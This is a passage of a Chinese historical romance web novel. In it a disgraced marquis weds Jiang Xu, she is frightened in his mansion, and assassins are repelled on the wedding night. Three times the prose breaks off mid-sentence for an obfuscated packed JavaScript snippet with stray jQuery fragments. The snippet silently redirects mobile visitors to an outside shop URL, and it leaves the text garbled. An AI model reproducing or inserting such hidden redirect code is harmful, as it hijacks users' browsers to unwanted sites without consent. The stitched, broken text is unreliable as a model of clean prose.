    在看见是姜若雪牵着姜絮走出来时，他原本漫不经心的眉眼，竟微微沉了沉。


    而姜家的人，看到他如此简陋的迎亲队伍，脸上的笑容都僵了几分，窃窃私语声压得极低，但还是飘进了姜絮的耳朵。


    “就一辆马车？两个人？”


    “这也太寒酸了吧？”


    “侯爷如今戴罪之身，正被软禁着，能亲自迎亲已是不易。”


    说是这样说，在场的人莫不替姜絮感到惋惜。


    半年前姜若雪出嫁时，迎亲队伍八抬大轿，红绸马褂，鼓乐班子吹吹打打，从城东闹到城西，沿街挤满看热闹的百姓，议论声沸沸扬扬，盖过了震天的鞭炮声响。


    同样是姜家的姑娘，这待遇却是天差地别。


    姜絮也不恼，只是按了按姜若雪的手，暗示她：


    “我说的没错吧？我与他并无半点情分。”


    姜若雪回握姜絮的手，脸上的笑容不过一瞬，在见到叶淮生翻身下马朝她们走过来时，她突然愣住，又见叶淮生无视众人瞪大的眼睛，径直走到姜絮面前，不等姜絮反应过来，一把将人打横抱起。


    姜絮只觉得脚下突然一轻，惊得一把攥住他的衣襟，却不小心抓到他衣襟之下硬邦邦的胸肌，登时脸就红了，缩着脖子悄悄往他怀里躲，却忘了头上还拢着红盖头，戴着凤冠。


    那凤冠缀着细碎的银饰，又佩着几只金钗。姜絮这么一躲，凤冠的尖角直接戳着叶淮生的下颌，又随着她偏头的动作，擦过他的脖颈。


    感受到脖颈处一阵冰凉，叶淮生低头瞥了眼怀里缩成一团的姜絮，压低了声音：


    “别动。”


    红盖头被风掀得翻卷，她一抬眸，刚好撞上他低垂的眉眼。他的眉峰蹙着，稍有愠色，可眸中却含着一寸转瞬即逝的温柔。


    她慌忙垂下眼睫，红盖头又落回原处，将二人刚才猝不及防的对视遮得严严实实。


    视线被红盖头遮挡，她没能看见他耳根悄悄漫上的一点薄红。


    喜婆还跟在身后，揪着喜帕，拍着姜絮的肩膀，快步追上叶淮生的脚步：


    “哎呀，侯爷，这不合规矩啊。”


    叶淮生并未搭理，只是抱着她的手臂又收紧几分，脚步沉稳地来到马车前，弯腰把她送进车厢。


    她摸索着车厢内壁坐稳，往角落缩了缩，身上还残留着他的气息，是那种混着风沙野草与淡淡铁腥的冷冽，像寂寥秋风卷着雨后尘土漫入鼻腔的味道，萧瑟、落寞、孤寂。


    她似乎一瞬看到了他正驰骋疆场，马蹄踏破烟尘，厮杀冲透云霄。


    她突然想起，他从鲜衣怒马的少年将军，沦为戴罪缚身的阶下囚，仅仅才过了半月而已。


    曾经征战沙场的烈马，如今用来娶她回家，怪不得他会默不作声，一言不发，只是铁青着脸看她。


    坐在车厢里的姜絮，指尖缠着红盖头，思绪万千，心里竟莫名泛起了一丝惆怅。


    -


    侯府的巷子口有禁卫军把守，马车在此停下，车帘被掀开，微光透进车厢，绣鞋上的珍珠泛着柔和的光芒。


    赶在叶淮生之前，姜絮抢先说道：


    “我自己走。”


    “你还走得动？”叶淮生回她，语气依旧硬邦邦。


    你怎知我走不动，姜絮心里腹诽，扶着车壁，摸索着挪动身子，才将将挪到车厢门口，便被叶淮生一把拉了过去，打横抱进怀里。


    “你……”姜絮的话还没说出口，就被打断：


    “走不动就别硬撑。”


    他的语气稍有缓和，但依旧冷冽，和他冷冷清清毫无生气的镇北候府一样。


    刚迈入侯府大门，没走几步他便猝不及防掀了她的红盖头，刚好撞上她正气鼓鼓瞪着他，还未来得及掩饰的神情。


    一时之间，四目相对。


    “你你你……”姜絮气得结结巴巴，“你怎么把红盖头掀了？”


    叶淮生没有回她，只是望着怀中之人被他气得又羞又恼的模样，愣了愣神。


    忽然一阵风来，吹得她垂落的发丝如柳絮飘扬。他抬手，准备将手里的红盖头给她重新盖上，盖头却被风吹走，挂到院中结着火红花苞的石榴树上。而他僵在半空的的手没来得及收回，就这么缠上她随风翻飞的发丝。


    发丝轻软，如揉碎的云，带着淡淡的皂角与女儿家的脂粉香，触感顺着指尖漫上心头，痒得他心头发颤，喉结几不可察地滚了滚。她喊了他好几声，他才突然反应过来，飞快地收回手，攥成拳头垂在身侧。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058379|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    叶淮生单手抱着姜絮，一路抱进侯府侧院才将她放下来，避嫌似的退到了走廊下。


    姜絮脚尖踩着青石板地站稳，不明所以地望向叶淮生，叶淮生双手抱肩，下巴点了点她身后。


    姜絮转身回头，却见月门洞处，一个身着灰布僧衣，头戴僧帽的尼姑正缓缓朝她走来。


    待她走近了些，姜絮这才辨认出来：


    “苏芸！居然是你！”


    姜絮快步上前，左右打量着。


    苏芸剃了发，俨然一副尼姑模样，只是眉眼依旧温润，鼻梁挺秀，唇色淡得如春日桃瓣。


    她朝姜絮微微躬身，双手合十：


    “多谢夫人救命之恩。”


    “不必谢我。”姜絮回道，语气里满满都是为她能得偿所愿感到开心，“佛家讲求因果。那日我参与了你的因，如今你卷入了我的果，救你一命本就是我分内之事。”


    “阿弥陀佛，讲起来我与夫人也有过一面之缘。”


    姜絮以为她会说栖云寺那次。


    “三年前，家父疏通河道有功，曾破例参加宫宴，带了家眷同去。当时我在荷花池畔闲逛，捡到一个粗布荷包，样式不像是女儿家的。我以为是前面不远处的那位公子掉的，于是上前递上荷包，还未来得及询问，那位公子一把接过荷包丢进荷塘，他说他绝不会要女人碰过的东西。”


    这位公子，该不会就是叶淮生吧？


    绝不会要女人碰过的东西。


    听起来也像是他能说得出口的话。


    那她呢，她在哪？


    “那位公子把荷包丢到荷塘，而夫人你，当时正划着小船在荷塘中央摘花。”


    苏芸记得当时的姜絮不过十三四岁，脸庞稚嫩，眼神清澈，一身粉嫩襦裙。她伸手去够荷叶遮掩下的一朵，还未开放便几欲凋谢的荷花，轻轻一折，花入手中。


    她望着手里的残荷，眉眼弯弯，苏芸却在她身上看到了因缘流转。


    苏芸双手合十：


    “而那位公子，正是今日与你结缘的夫君。”


    果真是他，姜絮稍显错愕，头皮一阵发麻，只觉得胸口有点堵得慌。


    原来在她未曾察觉的时候，命运早已暗中埋好了伏线。


    苏芸牵起姜絮的手，往她手里塞了两个棉麻锦囊，一茜粉，一靛蓝。


    那锦囊针脚织得细密，缀着一颗拇指般大小的白色菩提。


    “这是我亲手缝的平安符，里面是黄纸画的平安咒，不求荣华富贵，只求二位岁岁安稳，年年无虞。”


    苏芸的嗓音温润，透着青灯古佛般的沉静：


    “归寺后，贫尼会日日诵经，为姑娘与夫君祈来世的缘。”


    说罢，苏芸双手合十，深深一揖，而后转身离去，素衣身影融进渐渐深沉的夜色里。


    而姜絮，攥着平安符，望着那两颗依偎在一起的菩提子，想起刚才他指尖擦过她发丝时的停顿，心头感觉沉甸甸的，她回头往廊下望了一眼。


    檐下灯笼亮起，昏黄的光拢着他斜倚在廊柱上的身影，半边浸在光里，半边隐在檐下的阴影里。他的下颌线被晕染得有几分柔和，平日里冷硬的眉眼，此时竟被这暖黄的光衬得多了一丝温软。


    在她望过去的瞬间，他像是被烫到一般，突然转移了视线。


    祈来世的缘。


    与他么？


    姜絮嘴角勾起一抹自嘲，今生都没剩多少时间的缘分了，遑论来世。

 11. 怕你

    姜絮把平安符递给叶淮生，叶淮生扫了眼，并未伸手。


    “苏芸姑娘送的平安符，岁岁安稳，年年无虞。”姜絮解释。


    “这你也信？”叶淮生嘲讽，嘴角撇着一抹不屑。


    见他甚是嫌弃，姜絮干脆收回平安符，心里腹诽“爱要不要”，突然又想起他说过他不会要女人碰过的东西。


    难怪。


    真是个挑剔的男人。


    “你先回西厢房，我还有事。”他说，语气比平日多了几分局促，带着点不自然的僵硬。


    “哦。”姜絮应道，拎着裙摆，拔腿就走，走出廊下没几步，又听得叶淮生在身后忍着怒气说道：


    “反了。”


    姜絮又折回廊下，从叶淮生面前过，正准备往另一个方向去，却被他突然抓住领口，直接拎到他的身后：


    “这边。”他说，另一只手按着眉心，似压着很大的不耐烦。


    姜絮一瞬双脚离地，再落地时，已换了方向，叶淮生的手掌推着她的后背，力道不算大，但也让她踉跄了好几步才稳住身子。


    不知他又在生什么气。


    除了递平安符的事，她好像也没惹他。


    莫名其妙，不通人性。


    算了，反正他都要死了，让让他吧。


    -


    叶淮生拉开书房门时，卫珏正立在书架旁，手里捏着一卷泛黄的卷宗，看得入了神，连脚步声都没有听见。


    叶淮生坐到书案后，摊开之前未看完的卷册，问道：


    “有何眉目？”


    卫珏猛然回神，慌忙递上卷宗，躬身行礼：


    “见过侯爷。属下只是好奇，顺着忠勇侯府，可牵扯出朝中各部。但是圣上只抄了忠勇侯府和光禄寺卿，似乎在隐瞒什么。”


    而且，圣上不查，侯爷也不查，直接让忠勇侯府的线索断了，太奇怪了。


    叶淮生接过卷宗，抚着纸页上的墨迹，沉声道：


    “现在还不是时候。”


    一句话断了卫珏的念想。


    他知道卫珏救人心切，知道他不仅想救昭狱的弟兄，想救镇守北疆的战士，更想救被软禁在这镇北候府的自己。


    但是现在不是时候。


    “可是侯爷……”


    “嗯？”叶淮生的声音冷得骇人，眸中闪过一丝狠戾，“不要让我再说第二遍。”


    卫珏吓得单膝跪地，头埋得极低：


    “属下知错。”


    可他觉得，侯爷的怒气，似乎不来自自己，而是在侯爷进入书房前，就已经裹挟了满身的怨气。


    那就只有一个可能，应是和夫人闹了什么矛盾。


    今天可是大婚之日，洞房之夜，侯爷难道要让夫人独守空房？


    卫珏也不敢问，只是默默地站在一旁，看着侯爷把卷宗拿起又放下，打开又合上，看了不到五秒，又换下一本，一整个心神不宁的样子。


    “跟我出去练枪。”叶淮生突然命令道。


    卫珏瞥了眼半开的窗户，外面月亮正圆，这大晚上的，练枪？


    但他也不敢违命，只是刚碰到武器架上的长枪时，似乎听见一声女子的嘶喊。


    他凝神静听，那声音一阵一阵的，凄厉得很。


    “侯爷，你有没有听见什么？”


    -


    天色已经完全暗了，姜絮摸黑沿着抄手游廊走到尽头，想着西厢房便拐进西侧的小路。


    只是这路越走越窄，右侧的院墙爬满枯藤，风一吹，叶子簌簌往下掉，呼呼哗哗的声音，听起来有几分瘆人。


    天黑得什么都看不见，她正犹豫着是不是走错路了，这时不远处突然亮起一豆烛火似的微光，借着微弱的光亮，她探着步子往前走，走到尽头。


    尽头是一间低矮的侧房，烛火正是从窗户里透出。姜絮环顾四周，院子里的竹竿上晾着破旧的衣裳，看起来应该是府里下人住的地方。


    她上前几步，打算敲门问路，却听得身后突然传来一阵窸窸窣窣的响动。


    姜絮一回头，眼前突然撞进一张沟壑纵横的老脸。


    那老妇的右半张脸尽被烧毁疤痕狰狞，皮肉扭曲，嘴角歪斜，似乎是舌头被割去了一般。


    姜絮吓得僵在原地，只觉得周身的血液都凝固了，喉咙紧得发不出一点声音。


    那老妇也被姜絮吓了一跳，浑浊的眼里闪过一丝慌乱，随即伸出枯柴般的老手，想拉住几欲倒地的姜絮，却吓得姜絮腿软一下子瘫到在地，手掌撑着地面后退。


    “别碰我！”她尖叫道，“啊——啊——啊——”


    姜絮用尽浑身力气尖叫，惊得后院林中几只飞鸟簌簌飞向天空。


    老妇意识到自己吓到人了，急得呜呜咽咽，张着嘴却发不出完整的音节，只是拼命比划手势，指指屋子又指着自己的脸，摆了摆手，又向姜絮伸手想拉她起来。


    只是她越靠近，姜絮就越害怕，尖叫声就越凄厉。


    她一边哭一边胡乱喊着：


    “救命啊——”


    “青荷——”


    “爹爹——”


    “阿姐——”


    “娘——”


    姜絮把脑子里能想到的人都喊了一遍，可偌大的侯府，无一人回应，而眼前这个面目可憎的老妇还在张牙舞爪地朝她靠近。


    两人正对峙着，姜絮突然觉得有人拍了下她后背，回头一看，又是一张爬满皱纹的老脸。


    “啊——”她失声尖叫，几欲昏厥。


    就在她快要晕过去的一瞬间，一只有力的手臂突然揽住了她的腰，将她稳稳抱入怀中。


    脸颊蹭到他硬挺的胸膛，鼻尖漫入一股熟悉的淡淡铁腥味，她莫名感到心安，意识朦胧地往他怀里靠，手自然而然环着他的脖颈，额头抵着他冰凉的下巴，像是找到了靠山。


    她没忍住在他怀里哭起来，泪水一滴一滴砸到他的胸膛。


    “呜呜呜……”


    叶淮生任由怀中之人死命地往他胸膛上撞，脖子被她箍得死死的，他配合着微微低头，眼神示意青姨和阮伯不用管，先回屋休息。


    待姜絮哭累了，声音渐小，他才低声解释：


    “这两个人是青姨和阮伯，小时候我跟他们住同一条街，青姨的脸被烧伤了，只是有点吓人，但没有坏心。”


    姜絮哭得抽抽嗒嗒的，小声的“嗯”了声，抬手抹眼泪，却不小心打到他的耳根。


    好奇怪，他耳根


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058380|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    烫烫的，像烧红的烙铁一样。


    “谢……呼……谢……呼……你……”


    姜絮说一个字就抽噎一次，叶淮生勉强拼凑出全句：


    “谢谢你救我。”


    “不必。”他沉声道，将揽着她腰肢的手松开，“我只是怕你死在府上，惹得侯府不干净。”


    他语气平稳，跟一潭死水一样，毫无波澜。


    姜絮以为自己听错了，收回环着他脖颈的手，微微仰头，望见如水月色下，他的眸子映着彻骨的凉薄。


    她一瞬僵住，推开他的胸膛，往后坐了坐，双手反撑着冰凉的青石板地。


    “怎么？你以为我救你是在向你示好？”见姜絮情绪稳定得差不多了，叶淮生彻底撒开手，站了起来，负手立在一侧，背过身去冷言道：


    “少自作多情。”


    “本侯早就说过，本侯不会要一个主动送上门的女人。”


    “待本侯沉冤昭雪，你我桥归桥，路归路……”


    叶淮生一连放话，而姜絮一声不吭，他转头才看见，姜絮不知何时已整好情绪，正乖乖等在他身后，眼神困惑地望着他。


    她眼角还带着泪花，在月光下闪着银色的光芒，一副楚楚可怜的模样，让他心里无端又升起一股怒火。


    “你又想求我什么？”


    叶淮生算是看明白了，每次她往他身上黏的时候，就是有求于他的时候。偏偏每次，他都落她下风，有不得不帮她的理由。


    姜絮咧嘴一笑，嘿嘿两声掩饰尴尬，居然被看穿了。


    “求侯爷让青荷入府。”


    叶淮生现在是戴罪之身，软禁侯府，全府上下只留两个操持日常生活的仆人，其他人一概不能入府，所以青荷一开始就被拒之府外。


    “不行。”叶淮生一口否决。


    “为什么？”姜絮质疑，“你连二皇子都不放在眼里，让青荷入府怎么了？”


    叶淮生打量她一眼，眼神甚是鄙夷，而后抬脚便往走，也不顾姜絮跟不跟得上。


    “为什么？”姜絮小步追赶，察觉到叶淮生背影里的怒意，没敢伸手扯他的袖子，只是一个劲追问：


    “我都替你背锅了，你为什么不能帮我送青荷入府？”


    叶淮生猛地停住脚步，姜絮没反应过来，一下子撞上他硬挺的后背，鼻尖跟擦到墙上一样，疼得她捂着鼻子“嘶”了一声。


    “你为什么一定要让她进府？”叶淮生反问，想起刚才她被吓得困在原地鬼哭狼嚎的时候，脱口而出第一个求救的人，便是她的婢女青荷。


    明明这是他的侯府，就算是救命，也应该是他来救。


    所以他在阴暗的角落一直等到她哭喊得声音嘶哑，似没了力气般，才上前施救。


    只是她似乎真的害怕极了，一直往他怀里钻，揽着他脖颈的手，力度大得不像一个姑娘家。


    “因为我怕。”姜絮硬着头皮承认，泛白的指尖紧紧攥着衣角，不由自主往后退步。


    “怕什么？”叶淮生俯身，直视她闪避的眼神，追问：


    “怕黑？怕鬼？怕一个人？”


    “怕你。”姜絮仰头，对上他凌厉的目光，故作镇定的眼神里犹带一丝局促的慌张。

 12. 调情

    “怕我？”


    叶淮生冷笑一声，俯身逼近，一手攥着她的手腕，一手托着她的后颈，拇指掰着她的下巴，强行让她直视他微微眯起略带狠戾的眼神。


    “怕我还嫁我？”叶淮生手上力度加大，几乎要将姜絮的脖颈生生折断，疼得姜絮两手抓着他的手腕，想把他的手甩开，可挣扎不出一丝力气，只能任由他掐得她眼泪簌簌，也不肯出声求饶。


    泪滴落在他虎口，烫得他拇指稍稍颤抖，手上力度减轻，让姜絮得了口喘息的机会，反讥道：


    “侯爷这般，是又想亲我？”


    听闻此言，叶淮生的眼里闪过一丝嫌恶，倏然松开手，力道之大，让姜絮踉跄着后退几步，撞到爬满枯藤的院墙上，藤叶沙沙作响。


    “尚书府的大家闺秀，竟这般寡廉鲜耻？”他出言讥讽，却在看见她扶着院墙，抓着藤蔓站起来时，一瞬失神。


    明明娇小得他一把就能掐死，偏偏倔强得宁死不屈。


    她的所作所为，并不像是朝廷派来的耳目，那她嫁进来究竟有何目的？


    “夫妻之间调情，也叫寡廉鲜耻吗？”姜絮反问，左手轻轻按着喉咙，缓解被他掐的肿痛。


    “本侯与你尚未拜堂，何曾是夫妻？”叶淮生拂袖怒问。


    原来他只字不提拜堂的事，竟是这个意思，姜絮抓住他言语中的漏洞，故作哀怜地说道：


    “拜不拜堂都没关系，我心里早已把侯爷当作夫君。”


    “你……”叶淮生的火气顶在嗓子眼，一时被姜絮怼得哑口无言，不知她这话里掺着几分真情几分假意，只是耳根子悄悄热了几分。


    “从未见过如此厚脸皮的女人。”叶淮生气极，冷哼一声，别过脸去，胡乱抓住姜絮的衣袖，扯着她就往回走。


    “侯爷这是认我当夫人了？”姜絮瞧见月色下他脸上氤氲着两片薄红，继续拱火。


    只要她把脸皮抛开，稍稍调戏，他脑子就思考不过来。


    她没想到，看起来威风凛凛的镇北候，私下竟这般纯情，竟比说书人说的那些书呆子更好戏弄。


    “侯爷为什么不回答我？”


    叶淮生还是没回她，只是暗中加快脚步，恨不得瞬移到西厢房把她丢屋里去。


    而同样是闻声赶来的阿策，坐在房檐上目睹全程，得出总结：


    “夫人对侯爷，用情至深。”


    “侯爷对夫人，毫不领情。”


    -


    婚房布置得十分简陋，只在床架上挂了两条红绸，其中一条还在大门猛的打开时，被风吹得歪斜。


    叶淮生把姜絮粗暴地甩到床上，姜絮手背磕到床沿，当即一片青紫，她顾不上疼痛，撑着床塌直起身，再回过头时，早已没了叶淮生的身影，只半扇门在嘎吱嘎吱晃着。


    现在又只剩她一个人了，姜絮攥着锦被，心脏速度加快，手心渗出了汗，没有胆量去关上那扇半开着的门。


    他刚刚问她怕什么。


    其实她怕一个人，怕一个人独处时，那种游离在世界之外的感觉。


    她觉得，身边要是没有一个人陪着见证的话，那这个世界都不是真实的。


    所以娘亲在去世前，特地给她买了个丫鬟，也就是青荷。说是丫鬟，其实两人亲如姐妹，甚者比她和姜若雪还要亲。


    青荷日日在她榻边打地铺，才换得她夜夜好梦。


    如今青荷进不了府，就只剩她自己。


    窗外刮着风，风声呜呜咽咽卷着门板嘎吱作响。


    姜絮好不容易攒足勇气，迈出脚准备去关门，突然一道惨白的闪电劈开黢黑的夜幕，照得她脸上一片惊慌，她狂奔过去，猛地关上门，却在这时，惊雷轰然在她身后炸响。


    她吓得浑身一抖，没忍住“啊——”的尖叫一声，飞快跑回被窝，拉上被子，蒙住半张脸，牙齿却止不住轻轻打颤，也不知是被冷的，还是被吓的。


    她的这一声惨叫，在这寂静的夜里，显得格外瘆人。


    雷声一声比一声大，雨点噼里啪啦砸在窗棂上，她蜷缩成一团，偎在角落，想借坚实的墙壁寻些安全感，却又猛地想起那两张骇人的脸，眼泪悄无声息地漫了出来，洇湿枕头一片。


    近几日又是走山路，又是跪祠堂，姜絮本就没有得到休息，哭着哭着，竟就这么半是惊惧半是委屈地睡了过去。


    到了后半夜，惊雷平息，雨声风声渐小，只细密的雨丝仍在无声地飘落。


    “吱呀——”


    一声轻响，门轴转动。


    声音极轻，如同一根细针，猝然刺破春夜的静谧。


    睡梦中的姜絮陡然惊醒，猛地睁开眼，浑身的睡意瞬间消散，心脏突突地跳起来。


    门口有细碎的脚步声传来，如踩着细雪般小心翼翼。


    一股莫名的恐慌突然袭来，姜絮吓得脊背绷直，额冒冷汗，悄悄往床里缩了缩，手摸到怀中的银簪。


    这银簪本是她藏在喜服里带过来防叶淮生动手动脚的，现下刚好用来刺这贼人。


    姜絮将银簪紧紧攥在掌心，冰凉的触感让她稍稍定了定神。


    帐幔遮着视线，她只能看到银灰月色下，一道黑色的影子缓步靠近。


    脚步放得极轻，极慢，似在克制着尽量不发出任何声响。


    但姜絮依旧听到了衣料摩擦的细碎声响，手也不自觉地攥得更紧了，余光警惕地打量着来人。


    那道身影停在榻前，似乎顿了顿，随即就有一只手伸过来，想要撩开帐幔。


    “啊——”


    来不及细想，姜絮尖叫着猛地从床上弹起，扬手将银簪朝那人胸口刺去。


    簪尖泛着冷光，堪堪要碰到那人胸口的一刹那，她却突然听道一道喑哑的声音：


    “别动。”


    叶淮生？！


    姜絮的动作猛地顿住，却来不及收回，锋利的簪尖不知深浅地戳进他的胸膛，随即就听到头顶上方传来一声很轻的闷哼。


    她慌忙松了手，银簪落到锦被上。


    叶淮生自始至终没有闪躲，只是垂眸看着她，眼底盛着茫茫月色，也盛着她的慌乱不安。


    他轻轻握住她仍在发颤的手腕，力道不大，却不容她挣脱。


    胸膛里那点微不足道的刺痛，反倒让他的唇边漾开一抹极淡的笑意。


    “倒还是有点防人之心。”依旧是那番嘲讽的语调。


    他微微倾身，凑近了些，望见她被吓的泛红的眼眶，语气愈发刁钻：


    “可惜还差点。”


    他顿了顿，捡起锦被上的银簪，借着月光打量一番，当着姜絮的面，动了动拇指，稍一用力，便将银簪折成两半，扔到地上。


    银簪落地，“叮铃”作响，在这寂寂春夜显得格外刺


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058381|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    耳。


    “你来做什么？”姜絮警惕地抓起锦被盖住上半身，悄悄往床塌里面退。


    叶淮生负手立于榻前，眼神鄙夷地望着缩在角落眼神警惕的姜絮，怒斥道：


    “本侯对你没有非分之想！”


    何故作出这番欲拒还迎的样子，仿佛之前死命往他怀里钻的人不是她。


    “本侯只是过来看看你死了没有。”


    听闻此言，姜絮猛地身躯一震，耳畔嗡嗡作响，人怎么能用这么平静的语气说出这般骇人的话，再抬眸望向他时，却发现他胸膛微微起伏，衣襟上还沾着雨夜湿寒未干，莫非他是一路疾步赶过来的？


    这时，门外响起阿策的声音：


    “启禀侯爷，都处理好了。”


    处理好了？


    处理什么？


    姜絮只觉得自己如坠云端，不知二人在打什么哑谜，忙小声问道：


    “怎、怎么回事？”


    叶淮生睨她一眼，冷嗤一声，嫌弃都快从眼中溢出来：


    “睡得这么沉，连有人要杀你也不知道？”


    叶淮生本来在书房整理线索，却听见窗外雷声大作，心里不知想到了什么，不知不觉就踱步到了西厢房，窗户上透着烛影，房中人似乎已经熟睡，他正欲离去，却听见房檐一阵窸窸窣窣的脚步声。


    他躲在廊柱后面，墨色身影融入夜色中，却见院中忽的跳下四五个黑衣人影，落地便提着长刀朝房门冲去。


    “找死。”叶淮生低喝一声，不等那为首的黑衣人碰到门闩便已飞身而出，脚步迅即，拳风狠烈，一拳便把那黑衣人打得倒在水泊之中，水花飞溅。随即又反手夺下迎面劈来的一刀，于面前打横“次啦”一声擦着另一人的利刃，握着手柄猛得一推，两人齐齐倒地。


    见此阵势，几人举着大刀，脚步后退，最后飞身翻出院墙。


    院中如此大的动静，而房中之人没有丝毫反应。


    “杀我？”姜絮一脸呆滞，似还在睡梦之中，“为什么杀我？”


    她有什么值得被人追杀？


    “尚书府的千金，新婚之夜死在镇北候府。”叶淮生停顿了下，故意含了阴恻恻的语调，“你说这事，你的尚书父亲会不会放过镇北候府？”


    姜絮埋头，认真思索，半晌后才抬眸望他，拉长了语调回道：


    “哦……怪不得你不让青荷入府，原来是担心她的安危。”


    “姜絮！！！”叶淮生一拳砸到床沿上，“咚”的一声闷响，震得榻上的姜絮心头跳了一下，不明白他为什么突然又生气了。


    “我们现在说的是这事吗？”叶淮生极力克制着心里的怒火，话音刚落就被姜絮反驳：


    “可我要说的是这事。”


    姜絮心中惊惧未定，却仍冒着叶淮生几乎下一秒就要发作的暴戾，委屈道：


    “真的不可以让青荷入府吗？”


    她声音软的像棉花，眼睛湿漉漉的，像颗琉璃珠子，在他心上滚来滚去，挠得他有几分心烦意乱，猛地别开脸，眼神落在地上，被他折断的银簪晃着银色的光。


    他佯装整理衣襟的模样，见实在绕不开这个话题，轻咳两声，定了定神，回道：


    “不可以。”


    “为什么？有什么难处吗？”


    “那倒没有。”叶淮生顿了下，“纯粹想惹你不开心罢了。”

 13. 请睡

    姜絮轻哼一声，裹紧锦被，翻身背对着叶淮生，鼻音嗡嗡地说道：


    “如果你过来是为了跟我说这个，那你可以走了。”


    身后静悄悄的，静得只能听到窗外唰唰雨声，姜絮以为他走路都没声，忽的回头，却见他依旧立在床前，闲闲地抬手支颐，眼神饶有兴趣地望着她，或者说她身后大片空着的床榻。


    什么意思？


    姜絮脑袋缩进锦被，只留眼睛在外面，警惕地望着他。


    不是说没有非分之想吗？


    不是说不会碰女人碰过的东西吗？


    姜絮裹紧锦被，往外侧翻滚，滚到床沿，又滚回去，心想，这样他就不会靠近她了吧。


    “侯爷，请睡。”姜絮装作邀请的样子拍了拍床榻，朝他递了个狐媚的眼神。


    叶淮生回她一个嫌弃的眼神，而后侧坐桌边，以手支颐，阖眼休息，俨然一副准备入睡的样子，沉声道：


    “我对你没兴趣。”


    语气平缓，不参杂一丝情感。


    任哪个新娘在洞房之夜听到丈夫此言，必定都会心碎得肝肠寸断。


    “唉……”姜絮一拳砸向锦被，软绵绵地砸出一洞凹陷，假装遗憾的样子，“那侯爷为何……”


    “怕你活不过今晚。”叶淮生打断道，提前回答了她的问题，断了她进一步的念想。


    他不会留给这个女人任何肖想他的机会。


    “唉……”姜絮又砸了一拳，而后顾影自怜地缩进被窝，生怕再晚一秒就藏不住自己上扬的嘴角。


    虽然只与他见过三次面，但姜絮已然将他看穿。


    他并不像流言形容的那样寡薄无情，什么日拒婚书三百封，什么心似冰霜冷若铁，什么小儿闻名止哭啼，她觉得都是夸张。


    至少在她看来，在他看似冷硬的外表下，藏着善意的底色。


    忠勇侯府之事，虽让她背了那红颜祸水的黑锅，但确实也帮她绝了后患。京郊劫杀，若不是他的人，恐怕她早就死于非命。再后来，他又从二皇子剑下救她。


    桩桩件件都是救命之恩。


    姜絮觉得，他不是个坏人，只是偶尔性子有些暴烈罢了。


    可是父亲的话言犹在耳：


    “你现在嫁过去，若是能找出他的罪证定他死罪，那也算立了大功一件。”


    姜絮缩在被窝里，掀开被子一角，借着窗边下漏的月光，小心翼翼地打量着他。


    他生得确实好看，墨发垂落遮住他总是藏了锋芒的眉眼，只露出微微抿紧的薄唇，似在睡梦中仍不得安稳似的。朦胧的月光勾勒他侧坐而眠的轮廓，退却平日的戾气后，他身上竟生出几分温柔的神色。


    他真的，通敌叛国吗？


    夜风有点凉，他缩了缩肩膀，眉头微蹙，但没有醒。


    姜絮的心跳莫名快了几分，生怕被他察觉她心里的异动，闭眼装睡。


    满室寂静，静得只能听到两人的呼吸声。一个在床榻，一个在桌案，两人隔着不到半丈的距离，姜絮仿佛听到了彼此交叠的心跳声。


    她不敢睁眼，就这么一直装睡，到最后竟真的睡着了，一夜好睡无梦。


    -


    卯时的天光透过窗棂，落在半明半暗的帐幔里。


    姜絮睫毛轻颤，缓缓睁眼，入目便是床顶悬着的两条血色红绸，登时吓得心脏突突急跳，不由自主地惊呼一声，在这寂静的帐内格外清晰。


    桌案旁的身影动了动。


    叶淮生身入行伍多年，一点风吹草动便极易惊醒，这细微的声响落进耳里，他猛地睁眼，眼里满是警惕，手都已经按到剑柄上了，才突然反应过来：


    这不是在北疆。


    那刚才那声梦呓般的娇嗔？


    他回了回神，突然想起，那是他昨日接进府之人。


    他还没有习惯她的存在，差点把她当成敌人。


    墨色的眸子转瞬变得温润，叶淮生余光瞥见榻上之人自惊呼声后便再无动静，似仍在梦中，于是转了转微微发麻的手腕，缓缓直起身来。


    衣裾摩擦间，发出沉哑的窸窣声。


    临出门前，他回头望了一眼，昏沉朦胧的薄翳下，隔着微风掀动的素纱帐幔，依稀可见榻上之人毫无戒备的安稳睡颜。


    锦被不知何时滑下去了大半，她身上的素白里衣露了一截出来，看起来格外扎眼。


    他眉峰微蹙，放轻脚步走过去，衣角擦着桌案，发出极轻的声响。


